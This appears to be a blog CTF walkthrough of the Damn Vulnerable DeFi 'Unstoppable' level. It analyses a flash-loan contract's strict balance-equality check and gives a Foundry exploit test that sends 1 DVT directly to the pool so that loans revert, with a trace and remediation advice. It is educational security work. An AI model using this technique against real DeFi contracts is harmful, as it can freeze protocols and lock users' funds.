CTF walkthrough, Damn Vulnerable DeFi, #1 Unstoppable

There are only a few days left to prepare for the Paradigm CTF 2022. Hence I’m going to spend this time solving the Damn Vulnerable DeFi challenges and then concentrate on playing the Paradigm CTF 2021.

Intro

Damn Vulnerable DeFi is a CTF that simulates DeFi vulnerabilities created by @tinchoabbate. This game has 13 different levels featuring popular DeFi primitives such as lash loans, price oracles, governance, lending pools, integrations with Uniswap v2, Gnosis Safe wallets, timelocks, NFTs, upgradeability patterns and more. It is fun and enojoyable way to learn DeFi-related offensive security. Needless to say it requires some level of understanding of high level concepts behind those DeFi protocols.

Setup

Here is the original refactored game repo that uses hardhat + ethers, but I’m going to play using the foundry version of it.

Challenge

  • The UnstoppableLender contract offers flash loans in DVT (ERC20) tokens for free.
  • It has 1000000 DVT in balance.
  • We must solve this challenge by disabling functionality of this contract – stop the pool from offering flash loans.
  • We start with 100 DVT tokens in balance.

Analysis

There are two contracts in this challenge:

The UnstoppableLender inherits from the ReentrancyGuard and each external function has the nonReentrant modifier. Let’s have a look at contract’s state variables:

IERC20 public immutable damnValuableToken;
uint256 public poolBalance;
  • damnValuableToken is DVT ERC20 token.
  • poolBalance is used for accounting and stores the sum of all deposits.

Now, let’s go over external functions:

depositTokens

function depositTokens(uint256 amount) external nonReentrant {
    if (amount == 0) revert MustDepositOneTokenMinimum();
    // Transfer token from sender. Sender must have first approved them.
    damnValuableToken.transferFrom(msg.sender, address(this), amount);
    poolBalance = poolBalance + amount;
}
  • It requires the deposit of at least 1 DVT.
  • Assumes that the msg.sender has approve’d the amount.
  • Updates the poolBalance so it reflects the total amount of DVT’s in a pool.

For some reason this contract keeps track of its DVT balance in the poolBalance storage variable instead of relying on the dvt.balanceOf function. Let’s keep this in mind.

flashLoan

Our challenge is to disable this function. Let’ take a look at it:

 function flashLoan(uint256 borrowAmount) external nonReentrant {
    if (borrowAmount == 0) revert MustBorrowOneTokenMinimum();

    uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
    if (balanceBefore < borrowAmount) revert NotEnoughTokensInPool();

    // Ensured by the protocol via the `depositTokens` function
    if (poolBalance != balanceBefore) revert AssertionViolated();

    damnValuableToken.transfer(msg.sender, borrowAmount);

    IReceiver(msg.sender).receiveTokens(
        address(damnValuableToken),
        borrowAmount
    );

    uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
    if (balanceAfter < balanceBefore) revert FlashLoanHasNotBeenPaidBack();
}
  • It takes the borrowAmount argument.
  • It checks that the balance of the borrowed token DVT is greater than or equal to the borrowAmount.
  • It ensures that the poolBalance is equal to the balanceBefore.

๐Ÿ‘€ The problem is this line:

if (poolBalance != balanceBefore) revert AssertionViolated();

It is possible to transfer ERC20 tokens to any EOA/contract. Hence we can directly send some DVT’s to the UnstoppableLender (without calling the depositTokens function) and break the equality check above.

Exploit

Sending just 1 DVT is enough:

function testExploit() public {
    /** EXPLOIT START **/
    vm.prank(attacker);
    dvt.transfer(address(unstoppableLender), 1);
    /** EXPLOIT END **/
    vm.expectRevert(UnstoppableLender.AssertionViolated.selector);
    validation();
}

Here is the trace:

$ forge test --match-contract Unstoppable -vvvv

Running 1 test for src/test/Levels/unstoppable/Unstoppable.t.sol:Unstoppable
[PASS] testExploit() (gas: 44892)
Logs:
  ๐Ÿงจ PREPARED TO BREAK THINGS ๐Ÿงจ

Traces:
  [44892] Unstoppable::testExploit()
    โ”œโ”€ [0] VM::prank(Attacker: [0x9af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7])
    โ”‚   โ””โ”€ โ† ()
    โ”œโ”€ [12870] DVT::transfer(Unstoppable Lender: [...], 1)
    โ”‚   โ”œโ”€ emit Transfer(from: Attacker: [...], to: Unstoppable Lender: [...], value: 1)
    โ”‚   โ””โ”€ โ† true
    โ”œโ”€ [0] VM::expectRevert(AssertionViolated())
    โ”‚   โ””โ”€ โ† ()
    โ”œโ”€ [0] VM::startPrank(User: [...])
    โ”‚   โ””โ”€ โ† ()
    โ”œโ”€ [11550] Receiver Unstoppable::executeFlashLoan(10)
    โ”‚   โ”œโ”€ [8416] Unstoppable Lender::flashLoan(10)
    โ”‚   โ”‚   โ”œโ”€ [562] DVT::balanceOf(Unstoppable Lender: [...]) [staticcall]
    โ”‚   โ”‚   โ”‚   โ””โ”€ โ† 1000000000000000000000001
    โ”‚   โ”‚   โ””โ”€ โ† "AssertionViolated()"
    โ”‚   โ””โ”€ โ† "AssertionViolated()"
    โ”œโ”€ [0] VM::stopPrank()
    โ”‚   โ””โ”€ โ† ()
    โ””โ”€ โ† ()

Remediation

  • Remove the strict equality check or replace it with inequality.
  • Get rid of poolBalance and don’t track the pool’s balance.

Conclusion

Don’t rely on your own accounting. The assumption that you can control contract’s balance is wrong.

References

This SWC is related to forcible sending Ether (instead of an ERC20 token), but the main idea is the same: SWC-132 – Unexpected Ether balance (from the Smart Contract Weakness Classification and Test Cases).


Thanks for reading! Here is the test code with the solution. The next one is #2 Naive Receiver.